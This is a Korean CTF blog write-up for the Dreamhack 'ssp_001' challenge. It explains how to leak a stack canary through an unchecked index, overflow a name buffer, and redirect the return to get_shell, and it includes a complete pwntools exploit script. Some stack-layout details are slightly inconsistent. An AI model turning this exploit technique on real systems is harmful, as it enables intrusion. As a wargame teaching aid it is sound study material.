DreamHack

ssp_001

흑조롱이 2024. 4. 15. 16:09

https://dreamhack.io/wargame/challenges/33

 

ssp_001

Description 이 문제는 작동하고 있는 서비스(ssp_001)의 바이너리와 소스코드가 주어집니다. 프로그램의 취약점을 찾고 SSP 방어 기법을 우회하여 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세

dreamhack.io

 

I. 개요

 

II. 취약점 분석

1. 보호기법 파악

 

쉘코드는 NX가 활성화되있으므로, 메모리에 넣어도 실행할 수 없다.

 

스택 카나리가 존재하므로, payload에 카나리의 값을 넣어줘야 공격을 할 수 있다.

 

2. 스택 카나리

스택 카나리의 값

 

pwndbg에서 "canary" 명령을 사용하면, 스택 카나리의 값과 주소를 알 수 있다. 

 

메모리 내 카나리의 위치
ebp의 값

 

ebp 근처의 메모리를 살펴보면, 카나리는 ebp로부터 4바이트 떨어진 곳에 있는 모습을 볼 수 있다.

 

단, ebp와 카나리 사이에 4바이트 크기의 더미 값이 존재한다.

 

 

3. 메모리 구조 분석 

 

main 함수를 어셈블리어로 풀어보고, "read" 및 "scanf" 함수의 위치를 소스코드와 대조하면, 각각의 변수가 위치할 메모리 주소를 알아낼 수 있다.

 

●  메뉴 선택

select가 들어가는 메모리 주소

 

 메뉴를 저장하는 변수 "select"는 주소 ebp-0x8 에 위치한다.

●  Case "F" 

box가 들어가는 메모리 주소

 

 사용자의 입력을 저장하는 변수 "box"는 주소 ebp-0x88 에 위치한다.

●  Case "P" 

idx의 메모리 주소

 

"idx"는 ebp-0x94 에 존재한다.

●  Case "E" 

name_len이 위치한 메모리 주소

 

name이 위치한 주소

 

변수 "name_len" 은 ebp-0x90, "name"은 ebp-0x48에 위치한다.

 

위에서 알아낸 메모리 주소들을 바탕으로, 아래와 같이 스택의 구조를 파악할 수 있다.

 

            메모리 구조             
+---------------------------------+    LOW
|              idx                |    ebp - 0x94 (148)
|            (0x4 byte)           |
|- - - - - - - - - - - - - - - - -|
|             name_len            |    ebp - 0x90 (144)
|            (0x8 byte)           |
|- - - - - - - - - - - - - - - - -|
|              select             |    ebp - 0x8a (138)
|            (0x2 byte)           |
|- - - - - - - - - - - - - - - - -|
|               box               |    ebp - 0x88 (136)
|            (0x40 byte)          |
|- - - - - - - - - - - - - - - - -|
|               name              |    ebp - 0x48 (72)
|            (0x40 byte)          |
|- - - - - - - - - - - - - - - - -|
|              Canary             |    ebp - 0x8  (8)
|            (0x4 byte)           |
|- - - - - - - - - - - - - - - - -|
|              Dummy              |    ebp - 0x4  (4)
|            (0x4 byte)           |
|- - - - - - - - - - - - - - - - -|
|              EBP(SFP)           |    ebp
|            (0x4 byte)           |
|- - - - - - - - - - - - - - - - -|
|               RET               |
|            (0x4 byte)           |
+---------------------------------+    HIGH

 

 

4. 취약점 분석

● 버퍼 오버플로우

 

메뉴 "E" 를 활용하면 버퍼 오버플로우를 유발할 수 있다.

 

그 이유는 메뉴 "E" 에서 입력받는 값의 크기를 제한하지 않기 때문이다.

 

● 카나리 Leak

 

메뉴 "P" 에서 입력값을 검사하지 않으므로, "name" 위치를 벗어난 곳에 있는 값을 출력할 수 있다.

 

이 점을 이용하면 스택 카나리의 값을 알아내어, payload에 포함시킬 수 있다.

 

카나리와 box 사이의 거리는 128 바이트 이므로 메뉴 "P" 에서 idx의 값을 131, 130, 129, 128의 순서대로 주면, 카나리의 값을 얻을 수 있다.

 

위 사진에서 얻은 값들은 "21", "44", "af", "00"으로, 앞서 구한 카나리 "2144af00"과 같음을 알 수 있다.

 

5. Payload  설계

+-----------------------------------------------------------------------------+
|       box       |    canary    |     SFP      |     EBP      |     RET      |
|   (0x40 byte)   |  (0x4 byte)  |  (0x4 byte)  |  (0x4 byte)  |  (0x4 Byte)  |
+-----------------------------------------------------------------------------+

 

box를 모두 채운 다음, 알아낸 카나리의 값을 넣어 탐지를 우회한다.

 

SFP와 EBP 영역을 8바이트크기를 갖는 임의의 값으로 채우고, 함수의 반환주소는 "get_shell" 함수의 주소로 바꿔치기 한다.

 

6. 공격 시나리오

1) 카나리의 값을 알아낸다.

 

2) 파악한 카나리의 값을 이용하여 payload를 구성한다.

 

3) payload를 전송하고, 성공적일 경우 쉘을 획득한다.

 

III. Exploit

1. 공격 준비

from pwn import *
from pwn import p32, ELF


HOST = "host3.dreamhack.games"
PORT = 11482

p = remote(HOST, PORT)
# p = process("./ssp_001")
e = ELF("./ssp_001")

 

필요한 패키지를 불러오고, 문제의 서버에 접속한다 

 

2. 카나리 값 획득

def get_canary(p):
    ans = b'0x'

    for i in [131, 130, 129, 128]:  # 카나리 값 획득 후 조립
        p.sendline(b"P")
        p.recvuntil(b":")
        p.sendline(str(i))

        p.recvuntil(b"is : ")
        ans += p.recv()[:2]

    return ans
    
    
canary = int(get_canary(p), 16)    # 얻은 카나리 값(16진수, 정수)

 

카나리의 값을 획득하여, 16진수 정수로 변환한다.

 

3. Payload 구성

name_fill = b'A' * 0x40        # name의 64바이트 채우기
canary_p32 = p32(canary)       # 앞서 얻은 카나리 값
dummy_fill = b'X' * 0x4        # 더미 공간 채우기
sfp_fill = b'X' * 0x4          # SFP(EBP) 영역 채우기
tgt_addr = p32(e.symbols["get_shell"])     # main 함수의 반환주소 덮어쓰기

payload = name_fill + canary_p32 + dummy_fill + sfp_fill + tgt_addr

 

"name", "dummy", "SFP" 영역은 임의의 값으로 채워준다.

 

Payload에 스택 카나리의 값과, 실행하려는 함수의 주소("tgt_addr")를 넣어준다.

 

4. Payload 전송 및 쉘 획득

p.sendline(b'E')
p.recvuntil(b'Size : ')
p.sendline(b'80')      # 80 == str(len(payload))
p.recvuntil(b'Name : ')
p.sendline(payload)
p.interactive()

 

메뉴 "E"를 선택하고, Payload의 크기인 80을 보내준다.

 

그 다음 Payload를 전송하고, 쉘을 획득한다.

 

IV. 풀이 코드

from pwn import *
from pwn import p32, ELF


def get_canary(p):
    ans = b'0x'

    for i in [131, 130, 129, 128]:  # 카나리 값 획득 후 조립
        p.sendline(b"P")
        p.recvuntil(b":")
        p.sendline(str(i))

        p.recvuntil(b"is : ")
        ans += p.recv()[:2]

    return ans


# 1. 공격 준비
HOST = "host3.dreamhack.games"
PORT = 17291

p = remote(HOST, PORT)
e = ELF("./ssp_001")

# 2. 카나리 값 획득
canary = int(get_canary(p), 16)    # 얻은 카나리 값(16진수, 정수)

# 3. Payload 구성
name_fill = b'A' * 0x40        # name의 64바이트 채우기
canary_p32 = p32(canary)       # 앞서 얻은 카나리 값
dummy_fill = b'X' * 0x4        # 더미 공간 채우기
sfp_fill = b'X' * 0x4          # SFP(EBP) 영역 채우기
tgt_addr = p32(e.symbols["get_shell"])     # main 함수의 반환주소 덮어쓰기

payload = name_fill + canary_p32 + dummy_fill + sfp_fill + tgt_addr

# 4. Payload 전송 및 쉘 획득
p.sendline(b'E')
p.recvuntil(b'Size : ')
p.sendline(b'80')      # 80 == str(len(payload))
p.recvuntil(b'Name : ')
p.sendline(payload)
p.interactive()

 

풀이 결과

 

V. 참고자료

https://fascination-euna.tistory.com/entry/Dreamhack-ssp001